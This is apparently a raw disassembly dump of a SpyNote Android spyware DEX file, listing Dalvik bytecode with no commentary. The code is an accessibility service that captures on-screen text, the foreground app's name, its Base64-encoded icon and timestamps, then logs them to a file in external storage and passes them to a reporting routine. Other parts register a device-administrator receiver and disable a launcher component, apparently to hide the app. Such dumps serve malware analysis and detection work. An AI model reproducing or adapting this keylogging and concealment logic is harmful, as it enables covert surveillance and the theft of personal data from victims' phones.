File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
    00083560
    00083560cmf0.c3b5bm90zq.patch.C1::a(java.lang.String):
    00083570new-instance v0, Ljava/text/SimpleDateFormat;
    00083574const-string v1, "dd-MM-yyyy"
    00083578sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
    0008357cinvoke-direct {v0, v1, v2}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
    00083582new-instance v1, Ljava/util/Date;
    00083586invoke-direct {v1}, Ljava/util/Date;-><init>()V
    0008358cinvoke-virtual {v0, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
    00083592move-result-object v0
    00083594invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    0008359amove-result-object v1
    0008359cinvoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    000835a2move-result-object v1
    000835a4const v2, 0x7f0c0026
    000835aainvoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000835b0move-result-object v1
    000835b2new-instance v2, Ljava/lang/StringBuilder;
    000835b6invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    000835bcinvoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
    000835c2move-result-object v3
    000835c4invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
    000835camove-result-object v3
    000835ccinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000835d2const-string v3, "/"
    000835d6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000835dcinvoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
    000835e2move-result-object v1
    000835e4invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000835eainvoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000835f0move-result-object v1
    000835f2new-instance v2, Ljava/io/File;
    000835f6invoke-direct {v2, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    000835fcinvoke-virtual {v2}, Ljava/io/File;->exists()Z
    00083602move-result v1
    00083604if-nez v1, :cond_4d
    00083608return-void
    0008360anew-instance v1, Ljava/io/FileWriter;
    0008360enew-instance v3, Ljava/lang/StringBuilder;
    00083612invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00083618invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
    0008361emove-result-object v2
    00083620invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083626const-string v2, "/config"
    0008362ainvoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083630invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083636const-string v0, ".log"
    0008363ainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083640invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083646move-result-object v0
    00083648const/4 v2, 0x1
    0008364ainvoke-direct {v1, v0, v2}, Ljava/io/FileWriter;-><init>(Ljava/lang/String;Z)V
    00083650invoke-virtual {v1, v5}, Ljava/io/FileWriter;->write(Ljava/lang/String;)V
    00083656invoke-virtual {v1}, Ljava/io/FileWriter;->close()V
    0008365creturn-void
    00083560
    0008365e
    0008365e struct code_item_padding
    0008365e padding uint16 0x0000
    00083660
    00083660 struct try_item
    00083660 start_addr uint32 0x83570
    00083664 insn_count int 118
    00083666 handler_off uint16 0x83669
    00083668
    00083668 struct encoded_catch_handler_list
    00083668 size int 1
    00083669
    00083669 struct encoded_catch_handler ← 0x83666
    00083669 size int64 1
    0008366a handlers[0].type_idx int 0x5940
    0008366c handlers[0].addr uint32 0x8365c
    0008366d
    0008366d // align 0x10
    00083670
    00083670cmf0.c3b5bm90zq.patch.C1::a(android.content.Context, java.lang.String):
    00083680const/4 v0, 0x0
    00083682invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083688move-result-object v1
    0008368ainvoke-virtual {v1, v2, v0}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
    00083690const/4 v1, 0x1
    00083692return v1
    00083694return v0
    00083670
    00083696
    00083696 struct code_item_padding
    00083696 padding uint16 0x0000
    00083698
    00083698 struct try_item
    00083698 start_addr uint32 0x83682
    0008369c insn_count int 7
    0008369e handler_off uint16 0x836a1
    000836a0
    000836a0 struct encoded_catch_handler_list
    000836a0 size int 1
    000836a1
    000836a1 struct encoded_catch_handler ← 0x8369e
    000836a1 size int64 1
    000836a2 handlers[0].type_idx int 0x4c90
    000836a3 handlers[0].addr uint32 0x83694
    000836a4
    000836a4cmf0.c3b5bm90zq.patch.C1::b():
    000836b4invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getResources()Landroid/content/res/Resources;
    000836bamove-result-object v0
    000836bcconst v1, 0x7f0c0021
    000836c2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000836c8move-result-object v0
    000836caconst/4 v1, 0x3
    000836ccinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    000836d2move-result v1
    000836d4const/4 v2, 0x0
    000836d6const/16 v3, 0x31
    000836daconst/4 v4, 0x1
    000836dcif-ne v1, v3, :cond_2c
    000836e0new-instance v1, Lcmf0/c3b5bm90zq/patch/c;
    000836e4invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000836eamove-result-object v5
    000836ecinvoke-direct {v1, v5}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    000836f2iput-object v1, v6, Lcmf0/c3b5bm90zq/patch/C1;->a:Lcmf0/c3b5bm90zq/patch/c;
    000836f6iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C1;->a:Lcmf0/c3b5bm90zq/patch/c;
    000836fainvoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    00083700move-result v1
    00083702if-eqz v1, :cond_2a
    00083706goto :goto_2c
    00083708const/4 v1, 0x0
    0008370agoto :goto_2d
    0008370cconst/4 v1, 0x1
    0008370einvoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
    00083714move-result v5
    00083716if-ne v5, v3, :cond_3a
    0008371asget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    0008371eif-ne v5, v4, :cond_38
    00083722goto :goto_3a
    00083724const/4 v5, 0x0
    00083726goto :goto_3b
    00083728const/4 v5, 0x1
    0008372aif-ne v1, v4, :cond_68
    0008372eif-ne v5, v4, :cond_68
    00083732invoke-virtual {v0, v2}, Ljava/lang/String;->charAt(I)C
    00083738move-result v0
    0008373aif-ne v0, v3, :cond_65
    0008373einvoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    00083744move-result-object v0
    00083746invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    0008374cmove-result-object v0
    0008374econst/high16 v1, 0x7f0c0000
    00083752invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083758move-result-object v0
    0008375aconst-string v1, ".."
    0008375einvoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083764move-result v1
    00083766if-nez v1, :cond_68
    0008376ainvoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    00083770move-result-object v1
    00083772invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C1;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00083778move-result v0
    0008377aif-ne v0, v4, :cond_68
    0008377einvoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->a()V
    00083784return-void
    000836a4
    00083786
    00083786 // align 0x8
    00083788
    00083788cmf0.c3b5bm90zq.patch.C1::a():
    00083798invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getResources()Landroid/content/res/Resources;
    0008379emove-result-object v0
    000837a0const v1, 0x7f0c0021
    000837a6invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000837acmove-result-object v0
    000837aeconst/4 v1, 0x0
    000837b0invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    000837b6move-result v0
    000837b8const/16 v1, 0x31
    000837bcif-ne v0, v1, :cond_2e
    000837c0invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getPackageManager()Landroid/content/pm/PackageManager;
    000837c6move-result-object v0
    000837c8new-instance v1, Landroid/content/ComponentName;
    000837ccinvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000837d2move-result-object v2
    000837d4const-class v3, Lcmf0/c3b5bm90zq/patch/C7;
    000837d8invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000837deinvoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    000837e4move-result v2
    000837e6const/4 v3, 0x2
    000837e8if-eq v2, v3, :cond_2e
    000837ecconst/4 v2, 0x1
    000837eeinvoke-virtual {v0, v1, v3, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    000837f4return-void
    00083788
    000837f6
    000837f6 struct code_item_padding
    000837f6 padding uint16 0x0000
    000837f8
    000837f8 struct try_item
    000837f8 start_addr uint32 0x83798
    000837fc insn_count int 46
    000837fe handler_off uint16 0x83801
    00083800
    00083800 struct encoded_catch_handler_list
    00083800 size int 1
    00083801
    00083801 struct encoded_catch_handler ← 0x837fe
    00083801 size int64 1
    00083802 handlers[0].type_idx int 0x5994
    00083804 handlers[0].addr uint32 0x837f4
    00083805
    00083805 // align 0x8
    00083808
    00083808cmf0.c3b5bm90zq.patch.C1::onAccessibilityEvent(android.view.accessibility.AccessibilityEvent):
    00083818invoke-direct {v13, v14}, Lcmf0/c3b5bm90zq/patch/C1;->a(Landroid/view/accessibility/AccessibilityEvent;)Ljava/lang/String;
    0008381emove-result-object v0
    00083820invoke-virtual {v14}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
    00083826move-result-object v14
    00083828check-cast v14, Ljava/lang/String;
    0008382cnew-instance v1, Ljava/lang/StringBuilder;
    00083830invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00083836const-string v2, "["
    0008383ainvoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00083840move-result v2
    00083842const-string v3, "]"
    00083846invoke-virtual {v0, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
    0008384cmove-result v3
    0008384eand-int/2addr v2, v3
    00083850const/4 v3, 0x1
    00083852if-eqz v2, :cond_28
    00083856invoke-virtual {v0}, Ljava/lang/String;->length()I
    0008385cmove-result v2
    0008385esub-int/2addr v2, v3
    00083860invoke-virtual {v0, v3, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
    00083866move-result-object v0
    00083868iget-object v2, v13, Lcmf0/c3b5bm90zq/patch/C1;->b:Ljava/lang/String;
    0008386cinvoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083872move-result v2
    00083874if-eqz v2, :cond_31
    00083878return-void
    0008387aiput-object v0, v13, Lcmf0/c3b5bm90zq/patch/C1;->b:Ljava/lang/String;
    0008387eif-eqz v14, :cond_1bd
    00083882invoke-virtual {v0}, Ljava/lang/String;->length()I
    00083888move-result v2
    0008388aif-eqz v2, :cond_1bd
    0008388enew-instance v2, Ljava/text/SimpleDateFormat;
    00083892const-string v4, "HH:mm a"
    00083896sget-object v5, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
    0008389ainvoke-direct {v2, v4, v5}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
    000838a0new-instance v4, Ljava/util/Date;
    000838a4invoke-direct {v4}, Ljava/util/Date;-><init>()V
    000838aainvoke-virtual {v2, v4}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
    000838b0move-result-object v2
    000838b2invoke-virtual {v13}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000838b8move-result-object v4
    000838bainvoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    000838c0move-result-object v4
    000838c2const v5, 0x7f0c0021
    000838c8invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000838cemove-result-object v4
    000838d0new-instance v5, Ljava/lang/String;
    000838d4const-string v6, "-1"
    000838d8invoke-direct {v5, v6}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
    000838deconst/4 v6, 0x2
    000838e0invoke-virtual {v4, v6}, Ljava/lang/String;->charAt(I)C
    000838e6move-result v4
    000838e8const/16 v7, 0x30
    000838ecif-ne v4, v7, :cond_ef
    000838f0invoke-virtual {v13}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000838f6move-result-object v4
    000838f8invoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    000838femove-result-object v4
    00083900invoke-virtual {v4, v14}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00083906move-result-object v7
    00083908if-eqz v7, :cond_ef
    0008390cinvoke-virtual {v4, v14}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00083912move-result-object v7
    00083914const-string v8, ""
    00083918invoke-virtual {v7, v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
    0008391emove-result v7
    00083920if-nez v7, :cond_ef
    00083924invoke-virtual {v4, v14}, Landroid/content/pm/PackageManager;->getApplicationIcon(Ljava/lang/String;)Landroid/graphics/drawable/Drawable;
    0008392amove-result-object v4
    0008392cinstance-of v7, v4, Landroid/graphics/drawable/BitmapDrawable;
    00083930const/16 v8, 0x32
    00083934const/16 v9, 0x18
    00083938if-eqz v7, :cond_b2
    0008393cif-eqz v4, :cond_ef
    00083940check-cast v4, Landroid/graphics/drawable/BitmapDrawable;
    00083944invoke-virtual {v4}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
    0008394amove-result-object v4
    0008394cinvoke-static {v4, v9, v9, v3}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    00083952move-result-object v4
    00083954new-instance v5, Ljava/io/ByteArrayOutputStream;
    00083958invoke-direct {v5}, Ljava/io/ByteArrayOutputStream;-><init>()V
    0008395esget-object v7, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
    00083962invoke-virtual {v4, v7, v8, v5}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    00083968invoke-virtual {v5}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    0008396emove-result-object v4
    00083970invoke-static {v4, v6}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    00083976move-result-object v4
    00083978move-object v5, v4
    0008397agoto :goto_ef
    0008397cinvoke-virtual {v4}, Landroid/graphics/drawable/Drawable;->getIntrinsicWidth()I
    00083982move-result v5
    00083984invoke-virtual {v4}, Landroid/graphics/drawable/Drawable;->getIntrinsicHeight()I
    0008398amove-result v7
    0008398csget-object v10, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config;
    00083990invoke-static {v5, v7, v10}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    00083996move-result-object v5
    00083998new-instance v7, Landroid/graphics/Canvas;
    0008399cinvoke-direct {v7, v5}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000839a2invoke-virtual {v7}, Landroid/graphics/Canvas;->getWidth()I
    000839a8move-result v10
    000839aainvoke-virtual {v7}, Landroid/graphics/Canvas;->getHeight()I
    000839b0move-result v11
    000839b2const/4 v12, 0x0
    000839b4invoke-virtual {v4, v12, v12, v10, v11}, Landroid/graphics/drawable/Drawable;->setBounds(IIII)V
    000839bainvoke-virtual {v4, v7}, Landroid/graphics/drawable/Drawable;->draw(Landroid/graphics/Canvas;)V
    000839c0invoke-static {v5, v9, v9, v3}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    000839c6move-result-object v4
    000839c8if-eq v5, v4, :cond_dd
    000839ccinvoke-virtual {v5}, Landroid/graphics/Bitmap;->recycle()V
    000839d2new-instance v5, Ljava/io/ByteArrayOutputStream;
    000839d6invoke-direct {v5}, Ljava/io/ByteArrayOutputStream;-><init>()V
    000839dcsget-object v7, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
    000839e0invoke-virtual {v4, v7, v8, v5}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    000839e6invoke-virtual {v5}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000839ecmove-result-object v4
    000839eeinvoke-static {v4, v6}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    000839f4move-result-object v5
    000839f6if-eqz v14, :cond_1bd
    000839faif-eqz v0, :cond_1bd
    000839feif-eqz v2, :cond_1bd
    00083a02sget-boolean v4, Lcmf0/c3b5bm90zq/patch/C11;->A:Z
    00083a06if-ne v4, v3, :cond_140
    00083a0anew-instance v3, Ljava/lang/StringBuilder;
    00083a0einvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00083a14sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083a18const-wide/16 v8, 0x32
    00083a1cinvoke-static {v6, v7, v8, v9}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083a22move-result-object v4
    00083a24invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a2asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083a2einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a34sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083a38const-wide/16 v8, 0x73
    00083a3cinvoke-static {v6, v7, v8, v9}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083a42move-result-object v4
    00083a44invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a4asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083a4einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a54invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a5asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083a5einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a64invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a6asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083a6einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a74invoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a7asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083a7einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a84invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a8ainvoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083a90move-result-object v3
    00083a92invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00083a98new-instance v3, Ljava/lang/StringBuilder;
    00083a9cinvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00083aa2invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083aa8sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083aacinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ab2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ab8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083abcinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ac2invoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ac8sget-object v14, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083accinvoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ad2invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ad8sget-object v14, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00083adcinvoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ae2invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083ae8move-result-object v14
    00083aeainvoke-virtual {v1, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083af0invoke-virtual {v13}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    00083af6move-result-object v14
    00083af8invoke-virtual {v14}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083afemove-result-object v14
    00083b00const v0, 0x7f0c0026
    00083b06invoke-virtual {v14, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083b0cmove-result-object v14
    00083b0einvoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String;
    00083b14move-result-object v0
    00083b16const-string v2, "mounted"
    00083b1ainvoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083b20move-result v0
    00083b22if-eqz v0, :cond_1bd
    00083b26new-instance v0, Ljava/lang/StringBuilder;
    00083b2ainvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00083b30invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
    00083b36move-result-object v2
    00083b38invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
    00083b3emove-result-object v2
    00083b40invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083b46const-string v2, "/"
    00083b4ainvoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083b50invoke-virtual {v14}, Ljava/lang/String;->trim()Ljava/lang/String;
    00083b56move-result-object v14
    00083b58invoke-virtual {v0, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083b5einvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083b64move-result-object v14
    00083b66new-instance v0, Ljava/io/File;
    00083b6ainvoke-direct {v0, v14}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00083b70invoke-virtual {v0}, Ljava/io/File;->exists()Z
    00083b76move-result v14
    00083b78if-nez v14, :cond_1b5
    00083b7cinvoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
    00083b82invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083b88move-result-object v14
    00083b8ainvoke-direct {v13, v14}, Lcmf0/c3b5bm90zq/patch/C1;->a(Ljava/lang/String;)V
    00083b90nop
    00083b92return-void
    00083808
    00083b94
    00083b94 struct try_item
    00083b94 start_addr uint32 0x83818
    00083b98 insn_count int 444
    00083b9a handler_off uint16 0x83b9d
    00083b9c
    00083b9c struct encoded_catch_handler_list
    00083b9c size int 1
    00083b9d
    00083b9d struct encoded_catch_handler ← 0x83b9a
    00083b9d size int64 1
    00083b9e handlers[0].type_idx int 0x5994
    00083ba0 handlers[0].addr uint32 0x83b92
    00083ba2
    00083ba2 // align 0x4
    00083ba4
    00083ba4cmf0.c3b5bm90zq.patch.C1::onDestroy():
    00083bb4const/4 v0, 0x0
    00083bb6sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083bbareturn-void
    00083ba4
    00083bbc
    00083bbccmf0.c3b5bm90zq.patch.C1::onInterrupt():
    00083bccreturn-void
    00083bbc
    00083bce
    00083bce // align 0x10
    00083bd0
    00083bd0cmf0.c3b5bm90zq.patch.C1::onServiceConnected():
    00083be0invoke-super {v2}, Landroid/accessibilityservice/AccessibilityService;->onServiceConnected()V
    00083be6new-instance v0, Landroid/accessibilityservice/AccessibilityServiceInfo;
    00083beainvoke-direct {v0}, Landroid/accessibilityservice/AccessibilityServiceInfo;-><init>()V
    00083bf0const/16 v1, 0x59
    00083bf4iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
    00083bf8const/4 v1, -0x1
    00083bfaiput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->eventTypes:I
    00083bfeconst/16 v1, 0x10
    00083c02iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->feedbackType:I
    00083c06invoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C1;->setServiceInfo(Landroid/accessibilityservice/AccessibilityServiceInfo;)V
    00083c0cconst/4 v0, 0x1
    00083c0esput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083c12invoke-direct {v2}, Lcmf0/c3b5bm90zq/patch/C1;->b()V
    00083c18goto :goto_20
    00083c1aconst/4 v0, 0x0
    00083c1csput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083c20return-void
    00083bd0
    00083c22
    00083c22 struct code_item_padding
    00083c22 padding uint16 0x0000
    00083c24
    00083c24 struct try_item
    00083c24 start_addr uint32 0x83be6
    00083c28 insn_count int 25
    00083c2a handler_off uint16 0x83c2d
    00083c2c
    00083c2c struct encoded_catch_handler_list
    00083c2c size int 1
    00083c2d
    00083c2d struct encoded_catch_handler ← 0x83c2a
    00083c2d size int64 1
    00083c2e handlers[0].type_idx int 0x5994
    00083c30 handlers[0].addr uint32 0x83c1a
    00083c31
    00083c31 // align 0x4
    00083c34
    00083c34cmf0.c3b5bm90zq.patch.C2::<init>():
    00083c44invoke-direct {v0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
    00083c4areturn-void
    00083c34
    00083c4c
    00083c4ccmf0.c3b5bm90zq.patch.C2::onDisableRequested(android.content.Context, android.content.Intent):
    00083c5cinvoke-super {v0, v1, v2}, Landroid/app/admin/DeviceAdminReceiver;->onDisableRequested(Landroid/content/Context;Landroid/content/Intent;)Ljava/lang/CharSequence;
    00083c62move-result-object v1
    00083c64return-object v1
    00083c4c
    00083c66
    00083c66 // align 0x8
    00083c68
    00083c68cmf0.c3b5bm90zq.patch.C2::onDisabled(android.content.Context, android.content.Intent):
    00083c78invoke-super {v0, v1, v2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
    00083c7ereturn-void
    00083c68
    00083c80
    00083c80cmf0.c3b5bm90zq.patch.C2::onEnabled(android.content.Context, android.content.Intent):
    00083c90invoke-super {v0, v1, v2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
    00083c96return-void
    00083c80
    00083c98
    00083c98cmf0.c3b5bm90zq.patch.C3::<init>():
    00083ca8invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00083caereturn-void
    00083c98
    00083cb0
    00083cb0cmf0.c3b5bm90zq.patch.C3::a(android.content.Context, java.lang.String):
    00083cc0const/4 v0, 0x0
    00083cc2invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083cc8move-result-object v1
